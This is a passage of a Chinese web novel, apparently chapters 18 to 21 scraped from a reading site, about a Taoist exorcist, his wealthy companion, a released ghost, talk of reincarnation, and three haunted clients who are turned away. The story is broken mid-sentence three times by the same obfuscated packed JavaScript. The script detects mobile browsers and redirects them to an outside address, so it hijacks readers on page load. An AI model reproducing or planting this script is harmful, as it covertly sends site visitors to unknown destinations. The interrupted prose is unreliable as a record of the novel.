陆修望看不下去了,三两步走过来,像拎小鸡一样把她拽起来:“有话好好说,别动不动就下跪。” 陆叙也皱着眉,手足无措地站在那里。许瑶站起来后,却直接扑到他怀里,整个人靠在他肩上,哭得浑身发抖。 陆叙整个人僵住了,手举在半空,不知道该放哪儿,陆修望脸色一沉,揪住她后领就把人拉开。 “我哥——” 许瑶哽咽着,声音断断续续,“我哥他……他是因为我才……” 她哭得说不下去,胸口剧烈起伏。 陆叙叹了口气,到底还是抬手,轻轻拍了拍她的背:“慢慢说,别急。” “我哥他知道了。”许瑶声音沙哑,“知道爸妈为了救他,要拿我的运势去换,他和爸妈吵了一架,很凶的那种。” “然后他就自己出去了,他说他想来看我,就那么走到马路上……被一个醉酒的司机撞了。” 陆叙拍她后背的手顿了一下。 许瑶的声音彻底哑了,带着绝望的痛苦:“他说他的魂魄之前每天都混混沌沌的,有时候觉得自己还在经历被车撞倒的那一刻,那种剧痛一遍一遍重复,永远没有尽头。” “有时候又觉得被什么东西绑住,浑身像被火烤,每一寸皮肤都在燃烧,想喊喊不出来,想动动不了……” “他很痛苦,很想解脱。” 陆叙心下叹息,这许怀真的是个好……鬼,经历这种痛苦折磨,从灯里出来的时候,魂魄还是白色的,没有一起怨气。 “现在他终于可以解脱了,他说看到我没事,他也能安心地走了。” 她抱着陆叙,整个人都崩溃了。 “你哥受的那些罪,是杨金水害的。”陆叙声音很轻,但就像他们第一次见面那样可靠,“现在没事了,他不会再受苦,你也别哭,他会放心不下的。” 许瑶点点头,过了好一会儿,哭声才渐渐平息,她才松开陆叙,退后一步,不停地擦眼泪。 “对不起,陆先生,我……” “没事。”陆叙打断她,“这很正常。” 许瑶看着陆叙,眼神里满是感激,还有说不出的复杂情绪。 “陆先生,真的太谢谢你了。如果不是你,我哥可能永远都要受那种折磨,我也——” “行了行了,别说这些,我听着不得劲。” 陆叙打断她,神色恢复了平时那副吊儿郎当的样子。 “你要是真想谢我,就赶快把钱付清。” 许瑶愣了一下。 “这次不会再给你打折了。”陆叙语气淡然,“一码归一码,我只是拿钱办事,你家的事以后跟我没关系了。” 许瑶看着他,眼泪还在眼眶里打转,但这次她没有再哭出声,只是不停地点头,用力得像是在对自己做什么承诺。 “我知道,我会付清所有费用,陆先生,这辈子你都是我的恩人,我会行善积德,只求我修得的福分能回向你,愿你一生福泽绵长,灾厄远离。” 陆叙满意地点点头:“你还挺能说会道。” 18. 第 18 章 三人一起回到酒店,许瑶急不可耐要给陆叙结尾款。 沉默片刻,陆叙突然抬起头看着许瑶,语气变得很冷: “许瑶,看你可怜,我就实话跟你说了吧。” 许瑶愣了一下,陆修望也转头看向他。 “什么?”许瑶不太明白。 “最开始我确实是诚心帮你,”陆叙面无表情,“但你告诉我你哥的八字的时候,我改主意了。” “现在你哥生魂还在我手里。”他指了指桌上用红布包着的铜灯。 “至于超度,”陆叙轻笑,“他的魂魄和这个灯的联系没断开,就永远无法超度。” “我不像杨金水那样歹毒,只是会用他的魂魄做些简单的事。你最好别多问,也别想着报警。”陆叙轻轻拍了拍许瑶的背,话语里却满是威胁,“否则我不介意让他彻底魂飞魄散,不得往生。” 许瑶整个人愣在那里,陆修望无奈叹了口气——看起来这人戏瘾又发作了。 房间里安静几秒,许瑶盯着陆叙看了一会儿,竟然笑了。 陆叙愣了一下。 “陆先生,你演技不太行。”许瑶笑容真诚,“你是觉得我太容易相信别人了,没有戒备心,对吧?” 陆叙没说话,忍不住冷哼一声。 “我明白你的意思。”许瑶说,“确实,遇到这种事,不应该把希望全寄托在一个陌生人身上,得有自己的判断。我父母就是和我一样蠢,才害了我哥。” “但是陆先生。”许瑶看着陆叙,眼神认真,“我相信你。你做的每一件事都让我觉得你值得信任。” “为什么?”陆叙皱眉。 “因为你没有图财,2000块的咨询费,还没之前别人让我买的符纸贵。为我做法,自己还要承受损耗。” 陆叙不屑:“为了达到目的,受点伤也不会怎样。” 许瑶继续问:“之前你说我敏感,其实不是说对脏东西的感应吧?” “我确实能感知到细微的环境变化,还有身边人的情绪波动。所以我觉得一直你和哥哥是好人——就像我一直觉得父母怪怪的,只是我之前没多想。” “得,还是个高敏人群。”陆叙脸上那副冷漠的表情终于绷不住了。 他摆摆手:“行了行了,我就是想提醒你一下,以后别这么蠢。” “我知道。”许瑶态度诚恳又坦然,“虽然我很蠢,但我也知道该相信谁。陆先生,真的很感谢你。” 陆叙转向另一边,盘算着这次要收多少比较合理,随意开口:“别谢我。” 他指了指陆修望:“要谢就谢我孙子。” 陆修望叹气,他现在才算看明白,这人心情好的时候当他是老公,心情不好就把他当孙子使。 许瑶有点懵,讪讪问:“你俩吵架了?” 陆叙没理她,继续说:“虽然他是为了满足自己的好奇心,但查资料、找相关的人员查封道观,包括后续处置,都是他出面,你要谢就谢他。” “最好是请他吃一顿饭。” 许瑶愣了一下:“为什么是请吃饭?有什么讲究吗?” “之前处理你那凶宅,他当了我整晚护身符,我答应了请他吃饭。”陆叙看向陆修望,大言不惭,“但我现在囊中羞涩,只能让事主代劳了。” 陆修望:“……” 许瑶忍不住笑了。 “好,我一定请这位陆先生吃饭。”她看向陆修望,“谢谢你帮了我这么多。” 陆修望轻嗤一声,完全懒得搭理她,只是摆了摆手:“用不着,我不缺饭吃。” 陆叙看他这死样子,忍不住拍了他一下:“你能不能有点礼貌?” 又搂住他的脖子,低声说:“咱俩老公老婆叫这么久了,给我个面子,真没米请你吃饭了。” 陆修望有点想笑,又意识到陆叙是想让许瑶安心一点,最后勉为其难点了点头。 来的时候是三个人,返程只剩陆叙和陆修望。 车子驶出市区,陆修望开得很平稳,陆叙靠在座位上闭目养神,但却没有真正放松。 “杨金水那边,查出什么了吗?” “这人不是安市本地人,前半生就是个朴素的农民,离异无子,平时也会在村里卖卖老黄历,帮人看看日子,赚不到什么大钱。” “后来卖了田外出打工,实际上只在工地干了两年,然后突然来了安市青龙山。” 陆叙皱起眉:“就这些?” “其他经历都很正常,他身边也查不到任何可疑人的痕迹。”陆修望说,“没见他和谁深入接触过,近几年的生活轨迹,除了青龙山附近的村子,就是去镇上采购一些科仪和生活用品,不像是有同伙的样子。” 陆叙有点疑惑:“那他这种通天的本事哪来的?” “也查过这个,和他自己的供述也对得上。”陆修望把手机递过去,“他最初经人介绍卖黄历后,就自己学了奇门遁甲,村里人也说没有人教他,也没见他拜过师。其他东西也都是自学,打了两年工,还从各地工友那学来不少东西。” 陆叙随意扫了几眼资料,又还给陆修望。 “那没事了,可能是阴传的吧。” “什么玩意?” 陆叙靠回座位上:“现在很多歪门邪道来路不明的道士其实都来自于阴传,但如果自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099181|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不动歪心思,也不会被引入歧途。” 陆修望来了兴趣:“阴传是什么?” 陆叙瞥了他一眼,有点不高兴:“你怎么什么都要问?这可是要交学费的。” 陆修望又把手机扔他怀里:“支付密码六个一,你也可以把你的面容录进去。” 陆叙点开主页,发现主屏幕是俩人合照,觉得这小子还挺有意思,能处。 也不再和他见外,用他手机给自己转了一块钱,整理了一下思路:“很多有本事的道长,逝世后游走于阴阳之间,也有正统阴传,但大多都是没传承的游师,找到阳间特定体质的人传授道法,给自己整点供奉。” 陆修望皱眉:“这什么东西啊,死了还能教人?” “对。”陆叙点点头,“有些人生前没收到徒弟,或者觉得传承断了可惜,就会在死后继续找合适的人传艺,但这种传承也很可怕,因为教的东西往往良莠不齐。” 他顿了顿:“而且阴传有个特点,很多人不知道自己师父是谁,可能只是做个梦,梦里有人教你几招,醒来就会了,极少数会与游师建立长久联系。” 陆修望若有所思:“那杨金水可能就是这种长期被指点的?” “八九不离十。”陆叙说,“他半路出家,用的手法却非常扎实,况且这个年代会这些的道长也不多见了,只能是游师。” “那怎么办?” “游师也拿号子没办法吧,况且如果山上道观调查顺利,这人估计得死刑,游师也只能去找别人。” 陆修望沉默了一会儿:“你们这行有这么多门道?” “不然呢?”陆叙笑了一声,“你以为就是拿个罗盘拿把剑,飞几张符唬唬人就完事了?” 陆修望没说话,只是转头看了陆叙一眼。 “看什么?” “我在想,干这行还挺有意思的。”陆修望说,“我也有点想入行了。” 陆叙愣了一下,忍不住笑:“你?真的假的?” “真的。” 陆叙又给自己转了一块钱,开始正经推荐:“你这体质,学我这一派不太合适,不过可以考虑试试茅山那一派的。” 话头一转,又说:“开玩笑的,没有机缘不建议入行,当作兴趣就行了。况且真正入了这行的,在其他方面缘分都很浅,这就是代价。” 陆修望嘴角微微上扬:“你不就是我的机缘吗?我觉得我俩还挺有缘分的。” 陆叙僵了一下,这话听起来怎么这么肉麻? 见他没反应,陆修望又问:“你觉得呢?” “我觉得个屁。”陆叙冷哼一声,放平座椅戴上眼罩不再理他。 19. 第 19 章 洗漱完,陆叙走进卧室,陆修望换上他的睡衣,亦步亦趋。 陆叙忍不住问:“你想睡我的大床?” 陆修望听到这话,居然点了点头:“对。” 陆叙愣了一下,狐疑地打量他:“你上次来不是很嫌弃吗?” 陆修望想起上次的事,玩味地笑了:“上次来我还不是你老公,和你睡一起不合适。” “你是我孙子。”陆叙总觉得瘆得慌,纠正他,“记住了,别和我老公来老公去的。” 陆修望笑了一声,没说话,跟着陆叙进了卧室。 陆修望有点意外,卧室比客厅大得多,别有洞天,陆修望扫了一圈,很怀疑这里才是原本的客厅。 陆叙的工作台也在其中,桌上摆着一堆乱七八糟的书,还有几张刚画完的符纸。 旁边的柜子里整齐摆放着各种法器,铜镜、罗盘、令牌、刀剑,还有很多看不明白的精巧东西,古朴又庄严。 “看什么呢?”陆叙走过来,顺着他的目光看了一眼,忍不住显摆起来,“这些可都是好东西,你有钱也买不到,全靠机缘。” 他打开柜子,拿出一座小巧的铜塔:“这玩意起码有三百年历史。”又拿起一把铜钱剑,“这是我师姐送我的,从一个极凶之宅找到的宝贝,那宅子相当恐怖,她当时都被迷了眼。” 陆修望听他介绍,又四处看了看,这屋子里,除了科仪,最多的就是书,忍不住问:“你们这行也得看这么多书?” 陆叙顺着他的视线看过去,正是桌面上那本翻开的书,表情变得非常神秘:“那个……算了,不给你看。” “为什么?” “不想告诉你,我先睡了。” 陆叙爬上床,随意地往里侧一躺,拉过被子盖上。 陆修望站在床边看了他一会儿,在他旁边躺下,两人各占一边,中间隔着足够的距离。 陆叙背对着他,很快呼吸就平稳下来。陆修望盯着他的脖颈,过了许久,才慢慢睡了过去。 他站在一个宁静的院子里。 白狐趴在廊下的躺椅上,尾巴松松垮垮地搭在扶手边,阳光落在它雪白的皮毛上,像镀了一层金边,看起来非常惬意。 陆修望环顾四周,总觉得这地方很陌生,他走到院门口往外看,四周山势陡峭,峰峦连绵,山下的矮树林里蜿蜒着一条路,正是他来时走过的。 他这才意识到,是那座山,上次白狐离开他之后走进的那座山。这里就是半山腰的那个院子,位置极好,也是个洞天福地。 陆修望站在廊下,看着远处层叠的山林出神。身后忽然传来窸窣的响动,还没来得及回头,一团毛茸茸的东西就跃进了他怀里。 白狐在他臂弯里蜷成一团,脑袋蹭了蹭他的手心,尾巴卷上他的手腕。 他低头看着怀里的狐狸,伸手顺了顺它背上的毛,手感温暖柔软,比他想象中还要舒服。白狐发出一声满足的哼唧,整个身子都放松了下来。 山风吹过,带着松木和泥土的气息。 陆修望的手指穿过那蓬松的皮毛,正想再摸一把,怀里的白狐忽然发狂了,它开始剧烈挣扎,凶相毕露,四只爪子乱蹬,还狠狠踹了他好几下。 他一愣,还没反应过来,眼前的画面开始摇晃—— 睁开眼,天还没大亮,陆叙被他死死箍在怀里,正用脚狠狠踢他的腿。 “你他妈睡觉干嘛要抱着我?”陆叙声音带着点刚睡醒的沙哑,一脸烦躁。 陆修望还有点恍惚,盯着那张近在咫尺的脸看了几秒,才意识到刚才那些都不是真的。 “你有病吧我快被你勒死了。”陆叙挣扎着推开他。 陆修望松手,长舒一口气,安抚地拍了拍他的背:“抱歉。” 陆叙狠狠踹了他一脚:“赶紧起开,别在这耍流氓。 ” 陆修望翻身躺到另一边,却紧紧抓住了陆叙的手腕:“再躺会。” 陆叙难以置信地看了他半天,最后放弃似的往回一倒,重新躺进被子里。 “有病。”他嘟囔了一声,声音闷闷的。 陆修望看着他的侧脸,突然开口:“你相信前世今生吗?” “信啊,我之前就说过吧。”陆叙有些不明所以,“轮回转世是道家很常见的概念,我要是不信这个,还干什么这行?” “为什么信?” “道家讲三魂七魄。”陆叙调整了一下姿势,“人有三魂七魄,人活着的时候,三魂合一,七魄管束感官功能,人死后,七魄散去,三魂各归其位。” “归哪儿?” “胎光归天,回到天地元气里。爽灵归地,带着前世记忆去地府报到,等着转世。幽精留尸,守着肉身慢慢消散。”陆叙说,“转世的时候,爽灵会被洗掉记忆,但因果业力还在。” 陆修望听完,沉默了几秒:“你别说,还挺科学。” “科学?”陆叙挑眉。 “彭罗斯提出过一个量子意识理论。”陆修望说,“他认为人的意识是大脑微管中的量子态,包含了记忆、性格、思维模式,所有这一切构成自我的信息。” 陆叙撑起身子,看起来很感兴趣:“我之前只是看过科普视频,讲得很玄乎,你具体说说?” “量子力学有个定理,量子信息不能被创造或消灭,只能转移。”陆修望继续说,“人死的时候,微管结构崩解,但量子信息会释放到时空几何结构中,被时空储存下来。” 陆叙若有所思地点了点头。 陆修望继续说:“新的生命体出现后,新的微管如果和旧的信息场产生共振,就能读取部分前世记忆。” 陆叙思考了几秒,无意识地又往陆修望身边靠近了点:“这套理论,确实和道家的说法差不多。” 量子信息守恒,其实就是道家的神不灭,人死后信息释放回时空,就是胎光归天,而携带记忆的那部分信息,就是爽灵。 陆修看着陆叙那副兴致勃勃的样子,神情却有点恍惚,片刻后,他突然问:“那你觉得,人有可能在梦里见到前世的人吗?” 陆叙看向他,陆修望正目光专注地看着自己,眉眼间带着一种说不清的情绪,不像是在探讨学术问题,倒像是在问一件真实发生过的事。 “这在我们这一行是可以实现的,但你别轻易尝试。”陆叙斟酌了一会,还是开口了,“人在清醒时,识神当家,元神蛰伏,入睡后,识神休息,元神浮现,深度睡眠时,元神完全掌控,有能耐的大师可以在这个状态下进行引导,就有可能忆起前世。 陆修望沉默了一会儿,又问:“那为什么转世的我还是我,而不是别人?” 陆叙没太明白他的意思。 “转世投胎,在量子力学中类似于硬盘重写重读,中间经历了这么多变化,为什么说那还是我?”陆修望说,“现在很多创作中,总爱把前世今生的我当作同一个人,我之前从不这么认为。” 陆叙皱起眉,认真思考了一会儿:“道家的思想里,转世的不是你这个‘人’,但是你的元神。” “元神没有名字,没有自我执念,这些都是识神的东西。”陆叙解释,“元神就是一团有特定波动模式的元炁。有些人觉得转世后还是转世前的那个人,是因为元神的波动方式一致。” “打个比方,”陆叙说,“钟被重铸了,声响别无二致,但关于它是否还是本来的那个钟,就各有看法了。” “那所谓的业力呢?”陆修望又问,“如果我不存在了,为什么还要承担前世的因果,为什么还可以和前世的人产生交集?” 陆叙被这个问题难住了,他挠了挠头:“这个……道家说业力是元神上的痕迹。《太上感应篇》里书名,祸福无门,唯人自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099182|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 召。你的每个行为、念头,都会在元炁中留下波纹。你下辈子遇到的某个人,如果某一处原神波纹和你一致了,就说明你俩之间有未尽的因果。” “前世你和某人互动过,你们的量子态发生了纠缠。”陆修望接过话头。 陆叙点头:“对,差不多这个意思。” “很多人把它当作一个烂漫的理论,认为这是前世今生注定的缘分,”陆修望说,“以前我总觉得这种说法太过于……曲解科学,但现在我信了。” 陆叙偏过头看他:“你又咋了?” 陆修望笑了笑,神情放松下来:“我俩之间不就是缘分吗?不管上辈子还是这辈子,都发生过什么。” 陆叙疑惑地皱眉,又突然冷笑:“确实,我也觉得。你上辈子肯定欠我的,要不然我怎么从收到你消息那一刻就想揍你。” “原来你那个时候就注意到我了。”陆修望只是看着他笑了笑。 那笑容很温和,却让陆叙莫名觉得有些异样,这人好像话里有话,又好像只是他想多了。 他没深究,就这么毫无形象地躺在床上,和陆修望漫无目的地闲聊起来。 从前世今生,聊到量子退相干和孟婆汤,又聊到阴阳八卦修仙炼气,话题越扯越远,晨光透过窗帘的缝隙洒进来,落在两人中间。 陆叙打了个哈欠,揉了揉眼睛,才发觉时间已经接近正午。 陆修望也注意到了窗外的光线,转头看着他:“所以你干这行,其实也是在研究量子物理。” “你别说你还真别说。”陆叙撑着下巴,困意和兴奋混在一起,让他的声音带上了几分慵懒的得意,“等我以后不干了,我高低去当一个物理学家。” “行啊。”陆修望配合地接话,“到时候我给你投资,建个最先进的实验室。” “那挺好。”陆叙笑着翻身,顺手拿起陆修望放在床头的手机,划了几下,发现没有外卖软件,叹息一声,又打开自己的手机,“先吃饭吧,我快饿死了,你想吃什么?” “吃你想吃的。” 陆叙随意点了些东西,忽然说:“你这人,其实还挺有意思的。” “哪里有意思?” “就……”陆叙想了想,“我总觉得你过的是那种上流社会的生活,马术射箭飙车越野什么的,和我就是两个世界。没想到你能和我聊老半天科学玄学,还挺接地气。” 陆修望轻嗤一声:“上流社会的是我爸我妈还有陆家,又不是我,我就一刚毕业的无业游民。” 陆叙来了兴趣:“所以你以前学什么的?物理?” “以前对数学挺感兴趣,但最后读了商科,物理属于随便看看那种吧。” “那也挺厉害的。” “不过现在我觉得你这一行很有意思。”陆修望说着这话,自己都笑了一下,“主要是能遇到有趣的人……有趣的事。” “我就说你是玄学爱好者吧,你之前还一脸不情愿。”陆叙枕着手臂看他,总觉得陆修望那句“无业游民”不太对味,又安慰他说,“你这样也挺好的,虽然好像什么都没做成,但总比什么都没兴趣强。” “也对。”陆修望收回目光,“总要做一点自己想做的事。” “所以,”陆修望开口,“我有个提议。” “什么提议?” “你的工作室还缺人吗?”陆修望尽量让自己的语气认真,“我来当你的合伙人……也当你的护身符。” 陆叙怀疑地看向他,一时不知道该说什么,敲门声响起,打破了房间里短暂的沉默。 陆叙下意识地坐起身,脑子里还在消化刚才那句话。 “你认真的?” “认真的。”陆修望看着他,目光平静而坦然,“你这行挺危险,缺一个阳气重能镇宅的,我缺……一个能让我觉得有意思的事。正好互补。” 20. 第 20 章 陆叙不知道该怎么回答陆修望刚才的提议,敲门声很急,倒是给了他一个缓冲的机会。 他跳下床,顶着一头乱发打开门,门外站着三个年轻男人,穿着光鲜时尚,但脸上的焦急和害怕藏都藏不住。 “陆先生吗?”站在最前面的男生勉强维持着镇定,声音却有点紧绷,“我们是林老板介绍来的,求求您一定要帮帮我们!” 陆叙上下打量了他们一眼,为首的两人眼睛无神,后面那个眼神有点晦涩,而且这三个人身上有晦气,怎么看怎么不对劲,但一时说不上来是哪里不对。 “我不是陆先生。”他很自然地侧身让开,“他在里面,你们进来吧。” 三人鱼贯而入,其中一个进门时脚步虚浮,被身边的同伴扶了一把。 陆叙关上门,正好看见陆修望从房间里走出来。 “孙……陆先生,他们找你。”陆叙朝陆修望眨了眨眼,“之前的客户介绍来的。” 陆修望愣了一下,看着陆叙那副理所当然的表情,又看看三个明显有事的男人,瞬间明白了这人的意思。 他心里偷偷笑了一下,面上却不动声色,只是淡淡地扫了三人一眼。 “坐。” 一个字,语气里带着天然的距离感。 陆修望维持着人设,在三人对面的沙发上坐下,姿态随意却透着一种让人不敢轻慢的气场。 三个人小心翼翼坐下,背挺得笔直,那种诚惶诚恐的样子,确实挺像是在面见顶头上司。 陆叙在心里翻了个白眼——这人在死装这一块几乎无人能敌。 陆修望看了陆叙一眼,看他事不关己的样子,开口和来人沟通:“说吧,什么事。” 陆叙站在窗边,距离不远不近,表面上像是在旁听,实际上目光一直在三人身上游移。 他得观察一下这三个人到底是什么情况。 三人简单自我介绍后,其中一个看起来外向的人先开口了:“我们三个人在梦里撞鬼了!而且梦境非常相似。” “从什么时候开始的?”陆修望问。 “大概三个月前。”赵阳阳说,“一开始是偶尔一次,现在几乎每天晚上都会梦到。” “梦里的场景……”宋凯组织了一下语言,“门是锁好的,但突然就被人从外面打开了……” “对!”马俊杰急切地接话,“有时候是悄无声息打开,有时候是砸开……” 宋凯打断他:“这个不是重点,重点是那玩意要杀了我们!” 三个人你一言我一语,越说越乱,声音也越来越大。 “够了!”陆修望皱着眉打断他们,语气里带着明显的不耐烦,“一个个说,别他妈乱叫。” 三人瞬间安静下来。 陆修望的脸色很难看:“你。”他指了指赵阳阳,“你来说。” 赵阳阳咽了咽口水,努力让自己冷静下来。 “是这样的,陆先生,”他开口道,“我们仨一起做生意,平时就住一起。是我们自己买的新房,不是二手房,也不是什么凶宅。” “三个月前,我们三个人不约而同地开始做这种梦。”赵阳阳说,“一开始我们都没提,毕竟一个大男人,被梦吓得浑身发抖,说出去得被人笑话。” “但后来越做越频繁,每天晚上都会梦到,而且越来越真实。我终于忍不住说了,结果发现……我们三个都在做这种梦。” “虽然细节有些不一样……但结局都一样。”他顿了顿,声音里带着绝一丝绝望:“我们会被那个人制服,然后在他快杀死我们的时候……我们就被吓醒了,醒过来后浑身失力,就像梦里的场景是真实发生。” “最开始我们猜测,可能是房子的问题,”宋凯接话,“所以我们分开了,酒店、朋友家都住过。” “但没用。”赵阳阳说,“住酒店就梦到有人从酒店房间进来行凶,住网吧就梦到有人来网吧行凶……就像……” “就像那个东西一直跟着我们。”赵阳阳说,“不管我们在哪里,它都能找到我们。” 陆修望点了点头,又问:“找过别人看吗?” “找过!”赵阳阳急切地说,“最开始一个和尚帮我们处理了一段时间,后来因为一些事,和他谈崩了。” “过后我们又找了好多人,但都说帮不了,或者说他们处理不了这种事。林老板说您很厉害,所以我们……” “梦里那东西是你们认识的人吗?”陆修望打断他 三人对视了一眼,陆叙看到他们眼里闪过一丝心虚。 “看不清,也分辨不出是谁。”宋凯说,“很模糊,只能感觉到……很强的恶意。” “那能看清他的形态、颜色吗?有没有什么特别的地方?” “不、不记得了……我只感觉到一团黑,偶尔还会发红,”马俊杰说,“每次醒来只记得大概的情景,还有那种恐惧。” 陆修望又问了几个问题,非常公式化,像是在开一个普通的商务会议。 陆叙站在窗边,看着陆修望不紧不慢地问话,那副天生高高在上的样子让三个人根本不敢隐瞒什么,回答磕磕绊绊,却都很老实。 他嘴角不自觉地上扬,又冷哼一声,这小子,放着家里的正经事不做,非得跟着他搞这些玄乎的东西,感觉脑子进水了。 陆修望偏过头,正好对上陆叙那双带着点不满的眼睛。 两人目光对上,陆叙冲他扬了扬下巴,陆修望也忍不住笑了一下。 这个笑容很短暂,但落在三个客户眼里,却让他们更加紧张了——什么情况?是觉得我们的事很可笑吗? 赵阳阳小心翼翼地开口:“陆先生……你看这事?” 陆修望抬手打断他,做出一副沉思的样子。 几分钟后,陆叙的观察也结束了。 神藏于目,有杀业或者重孽的人,神会被业障遮掩,这三个人虽然强作镇定,但身上有很重的晦气,这件事十有八九就是业力上身,因果报应。 冤有头债有主,这种单子,怪不得其他人不想接。 陆叙轻咳了一声。 陆修望看向陆叙,陆叙做了一个送客的眼神。 陆修望明白了,他往后靠了靠,没再说话。 这个动作很明显——谈话结束了。 陆叙走向门边,拉开门,像个称职的员工一样:“三位,请吧。” 三个人愣住了。 “什么?”赵阳阳站起来,“你这是什么意思?” 陆叙礼貌地说:“不好意思,你们这单比较棘手,陆先生最近手上还有很多待处理的事,恐怕接不了。你们可以找别人试试。” “不是,”宋凯急了,“我们大老远过来的,你……” “抱歉,”陆叙说,“陆先生的意思你们也看到了,这事因果太重,短时间处理不了。” “陆先生,你就不能帮帮忙吗?”马俊杰转向坐在沙发上的陆修望,声音都变了,“我们真的快撑不住了!” 陆修望看着他们,淡淡地说:“我也想帮,但这事……力有不逮。” “多少钱?!”宋凯突然打断,从包里掏出一沓钱拍在茶几上,“这是十万定金,不够我们还可以再加!” 他的情绪激动起来,冲着陆叙大吼:“是不是嫌钱少?二十万够不够?三十万呢?!” 陆修望猛地站起来,一副要动手的样子,陆叙轻轻拉了他一把,他们做这一行的,最好别和咨询的人产生正面冲突,不然后续会有很多麻烦,举报、诋毁,什么都有可能,陆叙一般选择冷处理不理睬,但这三人显然不是善茬。 陆叙试着沟通:“你们这事不是钱的问题……” “我看就是故意的!”马骏猛地打断他,“什么都不解释就说接不了,想钱想疯了是吧?!穷鬼来的!” 陆修望看出陆叙不想起冲突,他走到三人面前,面无表情地看着他们: “给你们脸了?说了接不了,听不懂?” 他顿了顿,又补充道:“再纠缠下去,我不介意找人弄死你们。” 空气凝固了几秒。 三个人被压得说不出话,他们终于意识到,眼前这个人不是在开玩笑。 “走吧……”赵阳阳拉了拉马俊杰。 宋凯咬着牙,拿起茶几上的钱,带着另外两个人匆匆离开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099183|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆修望关上门,陆叙看着他,忍不住笑了。 “可以啊,”他说,“刚才问问题还挺像那么回事的,我差点以为你真是干这行的。” “我也觉得我有干这一行的潜力。”陆修望不知道哪来的自信,在沙发上坐下,“所以,我刚才的那个提议,你考虑得怎么样?” 陆叙的笑容淡了下来,他在陆修望旁边坐下,叹了口气。 “其实干这行纯靠帮人做事赚钱,有时候大半年都不见得有生意,”他说,“哪用得着什么合伙人,又不是开公司。” “那你不想做成大生意吗?”陆修望问,“一条龙那种,我可以帮你。” “不想。”陆叙说得干脆,又反问,“你是想累死我吗?” “我是想帮你。”陆修望往他旁边靠了靠,“遇到刚才那种情况,你一个人怎么处理?还有那些牵扯复杂的事,你怎么查?” 陆叙看着他,陆修望也看着他,两人对视了几秒。 “你是不是闲得慌?”陆叙移开视线,“非要来干这个?” “对啊。”陆修望大言不惭,“你说的,我们这个年纪不能整天无所事事。” “那你父母呢?他们就看着你胡闹?” “我非要胡闹他们也那我没办法。” 陆叙沉默了几秒,这犟种看来是铁了心要来干这行,无奈摆了摆手。 “行吧,随便你,”他说,“我就当我家里多了个人呗。” 陆修望笑了一下,然后拿出手机,发了条消息。 过了一会,他突然很随意地说:“隔壁三户我都买下来了。” 陆叙没理解:“啊?” “想让你搬家肯定不可能,”陆修望目光落在陆叙脸上,“你喜欢大房子大床,我让人来装修,打通,你亲自看风水布置。不开公司,但可以整一个像样的工作室。” 陆叙盯着他,半晌说不出话来。 “你……”他咽了咽口水,看起来很恐慌,“你是不是脑子有问题?” “对啊,如何呢,”陆修望居然点了点头,“不过我也喜欢敞亮点的工作环境,你这也太小了。” “不是……”陆叙还是难以置信,“你认真的?有这点钱干什么不好……” “也不多吧。”陆修望说。 “……” 陆叙张了张嘴,又闭上了,他就多余问这句。 陆修望揽住他的腰,将人从沙发上带起来:“去收拾东西吧,反正你也不打算接这单,先去我家住段时间,等这里装修好再过来。” 陆叙沉默片刻,突然开口:“你干嘛老对我动手动脚?” “哪有?这不就是朋友间的正常动作吗?”陆修望皱了皱眉,“你这人怎么这么敏感?” 陆叙不高兴了:“我敏感?好好好,我敏感。” “别生气了。”陆修望揉了揉他的头发,把人推进卧室里,“你简单带点必需品就行,快点,我等你。” 陆叙站在卧室里,盯着面前乱糟糟的床铺发呆。 脑子里反复回放着陆修望刚才的动作。 真的是朋友间的正常动作吗? 陆叙越想越觉得不对劲,他猛地甩了甩头,想把那些乱七八糟的想法甩出去,结果脑子里又蹦出陆修望上次抱着他睡觉时做贼心虚的表情。 陆叙深吸了一口气,转身走到门口,冲还站在客厅的陆修望喊:“陆修望!” “嗯?”陆修望抬头看他。 “你是不是有病?”陆叙指着他,声音莫名带着一种恼羞成怒的意味,“什么叫朋友间的正常动作?你跟你那些哥们也这么动手动脚又搂又抱?” 陆修望愣了一下,居然笑了:“怎么反应这么迟钝?” “……” 陆叙觉得自己的脑子又宕机了。 “你到底什么意思?”陆叙咬牙切齿。 陆修望神态轻松地靠在沙发上,嘴角带着点遮掩不住的笑意:“你先猜,猜错了我再告诉你什么意思。” 看陆修望那副悠哉的样子,陆叙那个气简直不打一出来,他抄起陆修望的外套扔到他头上:“起床不叠被子,恶心死了,收拾好赶快滚出我家。” 21. 第 21 章 陆叙以为陆修望说的是陆家老宅,直到车子驶出临城市区,拐进郊外一处小庄园。 车在主楼前停稳,陆叙愣了一下:“这哪儿?” “我家。”陆修望下车,顺手接过陆叙的小行李箱。 